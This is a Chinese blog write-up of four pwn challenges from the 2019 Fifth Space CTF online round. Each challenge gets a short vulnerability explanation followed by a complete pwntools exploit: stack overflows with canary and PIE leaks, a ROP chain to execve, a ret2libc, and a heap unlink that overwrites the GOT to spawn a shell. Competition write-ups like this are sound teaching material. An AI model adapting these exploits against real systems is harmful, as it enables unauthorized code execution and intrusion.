avatar

CTF-19年第五空间网络安全大赛线上赛

Pwn

0x1 副墨

导入IDA,scanf没有问题,但是下面的read有问题,可以覆盖seed,所以我只要覆盖seed为0,就可以知道之后rand出来的所有的数字

所以可以写一个poc,预先生成10个数字,POC如下:

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int main(){
int i= 0;
srand(0);
for(i = 0;i<10;i++)
printf("%d\n",rand() % 0x1869Fu + 1);
return 0;
}

编译之后就会输出seed为0的10个随机数

然后通过猜数字环节之后,有一个栈溢出和格式化溢出漏洞,所以input name的时候需要通过%p来leak pie和canary,这样才能劫持流程

所以直接通过这个劫持流程

劫持步骤:

1、因为没有看到”/bin/sh\x00”先在bss段写入该字符串,通过read实现

2、发现程序本身有system函数,所以pop rdi,将/bin/sh\x00字符串的指针传入rdi然后跳转到system函数的位置就可以拿到shell了,具体exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("bf")
sh = 0
lib = 0
rand = [7427,39356,9595,54062,67371,42578,92585,76990,22615,53318]
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./bf")

else:
sh = remote(ip,port)
pop_rdi_ret = 0xdb3
pop_rsi_r15_ret = 0xdb1
sh.recvuntil("Are you sure want to play the game?")
sh.sendline("1")
offset = 0x3c - 0x20
sh.recvuntil("Input your name : ")
payload = ''
payload = "%23$p,%17$p,"
payload = payload.ljust(offset,"\x00")
payload += p64(0)
sh.send(payload)
for i in rand:
#if i == 53318:
# input()
sh.recvuntil("guess:")
sh.sendline(str(i))
sh.recvuntil("0x")
base = int(sh.recvuntil(",",True),16) - 0xabf
canary = int(sh.recv(18),16)
offset = 0x3c - 8
payload = offset * "a"
payload += p64(canary)
payload += p64(0)
payload += p64(base + pop_rdi_ret)
payload += p64(0)
payload += p64(base + pop_rsi_r15_ret)
payload += p64(base + elf.bss())
payload += p64(0)
payload += p64(base + elf.plt['read'])
payload += p64(base + pop_rdi_ret)
payload += p64(base + elf.bss())
payload += p64(base + 0xab3)
sh.sendline(payload)
sleep(0.2)
sh.sendline("/bin/sh\x00")
log.success("canary: " + hex(canary))
log.success("base: " + hex(base))
sh.sendline("./flag.sh 1DJB8HC51KLT4E00000020PJUKVB5SHD")
sh.interactive()
if __name__ == "__main__":
pwn("111.33.164.6",50001 ,0)

0x2 坐忘

导入IDA,发现我们发送的数据被放到堆块里,而且我们发送的数据需要被base64加密,然后解密后会放到v5的位置。

然后漏洞也是很明显的,他对解密之后的文本没有限制,而且我们写入1000长度的数据,解密之后也是远远可以覆盖ret地址的。但是这个程序开了canary,我们可以通过puts(&v5)来leak canary,我们只需要第一次发送的加密文本解密之后刚好覆盖到canary的最后一位\x00,没有了\x00截断就会把canary一并输出出来,然后末尾清零就好了。

当然我们还需要继续循环,所以我们不能输入no,然后第二次解密只要输入很长的payload就好了,考虑到他是静态编译,所以考虑使用ROPgadget –binary pwn –ropchain,生成的代码来拿shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn9")
sh = 0
lib = 0
def rop():
p = ''
p += pack('<Q', 0x0000000000401f57) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb080) # @ .data
p += pack('<Q', 0x00000000004715e4) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047cd21) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f57) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x0000000000426baf) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047cd21) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401e36) # pop rdi ; ret
p += pack('<Q', 0x00000000006cb080) # @ .data
p += pack('<Q', 0x0000000000401f57) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x00000000004433e6) # pop rdx ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x0000000000426baf) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046fea5) # syscall ; ret
return p
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./pwn9")
else:
sh = remote(ip,port)
#0x401196
sh.recvuntil(">")
payload = 0x9*'a'
b6 = base64.b64encode(payload)
#input()
sh.sendline(b6)
sh.recvuntil("a" * 9)
canary = u64('\x00' + sh.recv(7))
sh.recvuntil("continue")
sh.sendline("yes")
payload = 0x8 * "a" + p64(canary)
payload += 'a' * 8 + rop()
b6 = base64.b64encode(payload)
sh.sendline(b6)
sh.recvuntil("continue")

sh.sendline("no")
sleep(0.2)
sh.sendline("./flag.sh 1DJB8HC51KLT4E00000020PJUKVB5SHD")
log.success("canary: " + hex(canary))
sh.interactive()
if __name__ == "__main__":
pwn("111.33.164.6",50009,0)

0x3 於讴

导入IDA,发现需要先绕过如下代码

绕过方法很简单,输入大于0x3E7的数字即可

绕过之后我们,就是典型的栈溢出了

允许read 0x100字节,远远大于缓存区,可以考虑先构造ROP通过puts来泄露__libc_start_main的地址,然后通过计算得到libc基址,然后再计算system地址,然后传好参数就可以跳到libc_system拿shell了,但是最大的问题是没有libc,这里我们有工具可以搜索libc,但是一个都没有找到,可能是一个很老的libc了,所以我们根据我们已经打出的pwn题来其他题目的libc来尝试,最终找到了正确的libc,最后如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf1 = ELF("pwn")
sh = 0
lib = 0
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./pwn")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("libc.so")
pop_rdi_ret = 0x0000000000414fc3
pop_rsi_r15_ret = 0x0000000000414fc1
sh.sendline(str(2000))
sh.recvuntil("?")
payload = 'a' * (0x10 + 8)
payload += p64(pop_rdi_ret)
payload += p64(elf1.got['__libc_start_main'])
payload += p64(elf1.plt['puts'])
payload += p64(0x4007C3)
sh.sendline(payload)
__libc_start_main = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = __libc_start_main - lib.symbols['__libc_start_main']
system = libc + lib.symbols['system'] + 0x1b
binsh = libc + lib.search("/bin/sh\x00").next()
sh.sendline(str(2000))
sh.recvuntil("?")
payload = 'a' * (0x10 + 8)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
sh.sendline(payload)
log.success("__libc_start_main: " + hex(__libc_start_main))
log.success("libc: " + hex(libc))
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
sh.sendline("./flag.sh 1DJB8HC51KLT4E00000020PJUKVB5SHD")
sh.interactive()
if __name__ == "__main__":
pwn("111.33.164.6",50006 ,0)

0x4 正定

导入IDA,发现有一个shell函数

只要执行了这里就可以直接拿到shell

漏洞分析:edit功能存在堆溢出
利用方式:考虑到程序没有开启got保护和pie,且malloc来的指针位于bss段,所以考虑unlink,通过unlink可以使第一个ptr变成chunk_list – 0x18,这样edit的时候就可以再一次覆盖第一个堆块的指针,就可以实现任意地址写,然后我们把第一个堆块的指针覆盖为free.got这样就我们再edit一次第一个堆块就可以修改free.got的内容,将free.got的内容修改为shell函数的地址,然后free任意一个堆块,就可以执行system(“/bin/sh\x00”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn14")
sh = 0
lib = 0
def add(size,content):
sh.recvuntil("Your choice : ")
sh.sendline("1")
sh.recvuntil(":")
sh.sendline(str(size))
sh.recvuntil(":")
sh.send(content)
def edit(idx,size,content):
sh.recvuntil("Your choice : ")
sh.sendline("2")
sh.recvuntil(":")
sh.sendline(str(idx))
sh.recvuntil(":")
sh.sendline(str(size))
sh.recvuntil(":")
sh.send(content)
def free(idx):
sh.recvuntil("Your choice : ")
sh.sendline("3")
sh.recvuntil(":")
sh.sendline(str(idx))
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./pwn14")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
chunk_list = 0x4040C0
add(0x68,'\x11' * 0x68)
add(0x80,'\x22' * 0x80)
add(0x20,'\x33' * 0x20)
payload = p64(0) + p64(0x61) + p64(chunk_list - 0x18) + p64(chunk_list - 0x10)
payload = payload.ljust(0x60,'\x00')
payload += p64(0x60) + p64(0x90)
edit(0,0x80,payload)
free(1)
payload = '\xaa' * 0x18
payload += p64(0x404018)
edit(0,0x80,payload)
edit(0,0x80,p64(0x40158C))
free(0)
#if debug == 1:
# gdb.attach(sh)
sh.sendline("./flag.sh 1DJB96JCF03SHB2GJ2S1M5LVOE8PTTB3")
sh.interactive()
if __name__ == "__main__":
pwn("111.33.164.4",50014 ,0)
文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/08/30/CTF-19%E5%B9%B4%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B%E7%BA%BF%E4%B8%8A%E8%B5%9B/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论